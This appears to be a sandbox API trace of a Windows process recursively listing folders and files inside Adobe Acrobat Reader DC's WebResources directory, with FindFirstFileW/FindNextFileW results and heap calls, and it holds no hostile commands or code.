	[0163.787] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef\\*", lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd800
	[0163.787] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.787] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0163.787] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0163.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0163.788] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0163.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x466ffc8
	[0163.788] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs\\*", lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd800
	[0163.788] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.788] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0163.788] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0163.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0163.933] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0163.933] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0163.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0163.947] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0163.947] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0163.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0163.948] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1
	[0163.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0163.949] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0163.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0163.949] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0163.949] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0163.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0163.949] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0163.950] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0163.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0163.950] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1
	[0163.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0163.950] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1
	[0164.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.529] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1
	[0164.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0164.565] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0164.566] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0164.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.566] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0164.566] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0164.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0164.567] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1
	[0164.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0164.574] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1
	[0164.577] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5300020, Size=0x100000) returned 0x54c8020
	[0164.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.764] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0
	[0164.764] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0164.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0164.764] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win-scrollbar", cAlternateFileName="WIN-SC~1")) returned 1
	[0164.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0164.768] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0164.768] FindClose (in: hFindFile=0x394b6f8 | out: hFindFile=0x394b6f8) returned 1
	[0164.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.769] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1
	[0164.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0164.769] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 1
	[0164.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0164.773] FindNextFileW (in: hFindFile=0x394b738, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0164.773] FindClose (in: hFindFile=0x394b738 | out: hFindFile=0x394b738) returned 1
	[0164.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.773] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0164.773] FindClose (in: hFindFile=0x394b8b8 | out: hFindFile=0x394b8b8) returned 1
	[0164.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0164.773] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 0
	[0164.773] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0164.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0164.773] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1
	[0164.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.822] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0164.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.822] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0164.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.822] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0164.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.822] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0164.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.823] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0164.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.823] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0164.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.824] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0164.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.824] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0164.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
